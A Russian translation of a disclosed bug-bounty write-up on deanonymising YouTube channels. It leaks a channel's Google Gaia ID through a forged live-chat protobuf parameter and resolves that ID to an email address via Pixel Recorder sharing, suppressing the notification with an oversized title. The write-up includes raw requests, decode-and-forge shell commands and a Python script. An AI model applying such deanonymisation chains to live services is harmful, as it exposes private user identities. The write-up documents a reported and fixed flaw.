Какое-то время назад, исследуя Google, я наткнулся на документацию по Internal People API (Staging) и обнаружил кое-что любопытное.
"BlockedTarget": {
"id": "BlockedTarget",
"description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
"type": "object",
"properties": {
"profileId": {
"description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
"type": "string"
},
"fallbackName": {
"description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
"type": "string"
}
}
},Здесь говорится о том, что в API есть метод BlockedTarget, который используется для блокировки пользователей в Google и оперирует двумя сущностями:
profileId- Gaia ID (идентификатор учетной записи Google)fallbackName- display name учетной записи заблокированного пользователя
Все казалось вполне логичным, пока я не вспомнил о тексте на странице поддержки:

То есть, если заблокировать кого-то на YouTube, можно раскрыть его идентификатор учетной записи Google? Я решил проверить. Зашел на случайную трансляцию, заблокировал пользователя — и действительно, он появился в списке заблокированных на myaccount.google.com/blocklist.

Имя пользователя было установлено как название канала — Mega Prime, а идентификатор профиля оказался его Gaia ID — 107183641464576740691.
Это показалось мне довольно странным, ведь YouTube не должен раскрывать связанную учетную запись Google. Ранее уже всплывали баги, которые позволяли получить адрес электронной почты по таким данным, и я был уверен, что где-то в старом, малоизвестном продукте Google все еще существует способ сопоставить Gaia ID с электронной почтой пользователя.
Итак, мы можем раскрыть Gaia ID любого пользователя из чата трансляции. Но можно ли эскалировать это на все YouTube-каналы?
Как оказалось, при нажатии на три точки для открытия контекстного меню отправляется запрос:

Запрос
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: <redacted>Ответ
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
...
"serviceEndpoint": {
...
"commandMetadata": {
"webCommandMetadata": {
"sendPost": true,
"apiUrl": "/youtubei/v1/live_chat/moderate"
}
},
"moderateLiveChatEndpoint": {
"params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
}
}
...
}params из ответа — закодированный в base64 protobuf, который активно используется в экосистеме Google.
Если попробовать декодировать параметр moderateLiveChatEndpoint, можно получить следующее
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
-d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "113907466537670370590"
2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0В protobuf зашит Gaia ID пользователя, которого мы хотим заблокировать, и чтобы его получить, даже не надо отправлять запрос на саму блокировку.
Давайте также рассмотрим параметры запроса get_item_context_menu:
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
6 {
1: "UCSE-aYOb-uCg059qHRis_ow"
}Похоже, что он содержит только идентификатор канала, который мы блокируем, ID видео с трансляцией и ID автора трансляции. Попробуем подделать параметры запроса, используя ID канала нашей цели.
Для этого теста мы выберем <Topic> Channel, так как такие каналы создаются автоматически и гарантированно не имеют сообщений в чате.
$ echo -n "<SNIP>" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=Тестируем на /youtubei/v1/live_chat/get_item_context_menu:
...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "103261974221829892167"
2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0Мы можем раскрыть Gaia ID канала — 103261974221829892167.
Я рассказал своему другу Нейтану о утечке Gaia ID на YouTube, и мы начали искать старые забытые продукты Google, так как они, вероятно, содержат баги или логические ошибки, которые позволяют связать Gaia ID с адресом электронной почты. Одним из таких продуктов оказался Pixel Recorder. Нейтан сделал тестовую запись на своем телефоне Pixel и синхронизировал ее с его Google-аккаунтом, чтобы мы могли пользоваться онлайн функциями Google Recorder.

Когда мы попытались поделиться записью c тестовым email, отправился следующий запрос
Запрос
POST /$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/WriteShareList HTTP/2
Host: pixelrecorder-pa.clients6.google.com
Cookie: <redacted>
Content-Length: 80
Authorization: <redacted>
X-Goog-Api-Key: AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro
Content-Type: application/json+protobuf
Referer: https://recorder.google.com/
["7adab89e-4ace-4945-9f75-6fe250ccbe49",null,[["113769094563819690011",2,null]]]Ответ
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"vrptest2@gmail.com"]]]Похоже, что эндпоинт принимает Gaia ID и... возвращает email?
Мы протестировали это с Gaia ID 107183641464576740691, который мы получили ранее, заблокировав пользователя на YouTube, и это сработало:
HTTP/2 200 OK
Content-Type: application/json+protobuf; charset=UTF-8
Server: ESF
Content-Length: 138
["28bc3792-9bdb-4aed-9a78-17b0954abc7d",[[null,2,"redacted@gmail.com"],[null,2,"vrptest2@gmail.com"]]]Похоже, что каждый раз, когда мы делимся записью с жертвой, она получает email, который выглядит так:

Это действительно плохо, и это значительно снизило бы эффект от уязвимости. В всплывающем окне для обмена не было никакой опции для отключения уведомлений.

Я попытался раскрыть полный запрос proto с помощью моего инструмента req2proto, но ничего, что касалось бы отключения уведомления по email, не было.
syntax = "proto3";
package java.com.google.wireless.android.pixel.recorder.protos;
import "java/com/google/wireless/android/pixel/recorder/sharedclient/acl/protos/message.proto";
message WriteShareListRequest {
string recording_id = 1;
string delete_obfuscated_gaia_ids = 2;
ShareUser update_shared_users = 3;
string sharing_message = 4;
}
message ShareUser {
string obfuscated_gaia_id = 1;
java.com.google.wireless.android.pixel.recorder.sharedclient.acl.protos.ResourceAccessRole role = 2;
string email = 3;
}Даже попытка одновременно добавить и удалить пользователя не сработала — email все равно отправлялся. Но тут мы поняли: если в теме письма записывается название нашей записи, возможно, система не сможет отправить email, если оно будет слишком длинным.
Мы быстро написали скрипт на Python, чтобы проверить это:
import requests
BASE_URL = "https://pixelrecorder-pa.clients6.google.com/$rpc/java.com.google.wireless.android.pixel.recorder.protos.PlaybackService/"
headers = {
"Host": "pixelrecorder-pa.clients6.google.com",
"Content-Type": "application/json+protobuf",
"X-Goog-Api-Key": "AIzaSyCqafaaFzCP07GzWUSRw0oXErxSlrEX2Ro",
"Origin": "https://recorder.google.com"
}
def get_recording_uuid(share_id: str):
payload = f"[\"{share_id}\"]"
response = requests.post(BASE_URL + "GetRecordingInfo" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when getting recording uuid: ", response.json())
exit(1)
try:
response = response.json()
except:
print('can\'t parse response when getting recording uuid: ', response.text)
exit(1)
return response["recording"]["uuid"]
def update_recording_title(share_id: str):
x = 'X'*2500000 # 2.5 million char long title name!
payload = f'["{share_id}","{x}"]'
response = requests.post(BASE_URL + "UpdateRecordingTitle" + "?alt=json", headers=headers, data=payload)
if response.status_code != 200:
print("unknown error when updating recording title: ", response.json())
exit(1)
def main():
share_id = input("Enter share ID: ")
headers["Cookie"] = input("Cookie header:" )
headers["Authorization"] = input("Authorization header: ")
uuid = get_recording_uuid(share_id)
print("UUID:", uuid)
update_recording_title(uuid)
print("Updated recording title successfully.")
if __name__ == "__main__":
main()... и название записи теперь состояло из 2,5 миллиона символов! На серверной стороне не было ограничений по длине.

Попробовав поделиться записью с другим тестовым пользователем... бинго! Никакого уведомления по email.

У нас фактически есть вся цепочка атаки:
Раскрыть Gaia ID YouTube-канала через эндпоинт
/get_item_context_menu.Поделиться записью из Pixel Recorder, используя огромное название, чтобы преобразовать Gaia ID в email.
Удалить цель из записи Pixel Recorder (очистка).
Вот доказательство концепции (POC) в действии:
15/09/24 — Отчет отправлен Google
16/09/24 — Google принял отчет на рассмотрение
16/09/24 — Отличная находка!
03/10/24 — Google отмечает это как дубликат уже отслеживаемого бага
03/10/24 — Пишем Google, что они не признали Gaia ID на Email в Pixel Recorder как уязвимость
05/11/24 — Google присуждает $3,133. Обоснование: вероятность эксплуатации — средняя. Проблема квалифицирована как методология злоупотребления с высоким воздействием.
03/12/24 — Команда продукта отправила отчет обратно для дополнительного рассмотрения вознаграждения, координирует раскрытие на 03/02/2025
12/12/24 — Google присуждает дополнительные $7,500. Обоснование: вероятность эксплуатации — высокая. Проблема квалифицирована как методология злоупотребления с высоким воздействием. Применено одно снижение от базовой суммы из-за сложности требуемой цепочки атак.
29/01/25 — Вендор запрашивает продление раскрытия до 12/02/2025
09/02/25 — Подтверждаем, что обе части эксплуатации были исправлены (T+147 дней с момента раскрытия)
12/02/25 — Отчет раскрыт
Оригинал статьи на английском языке.
Переведено и адаптировано специально для @cybred.

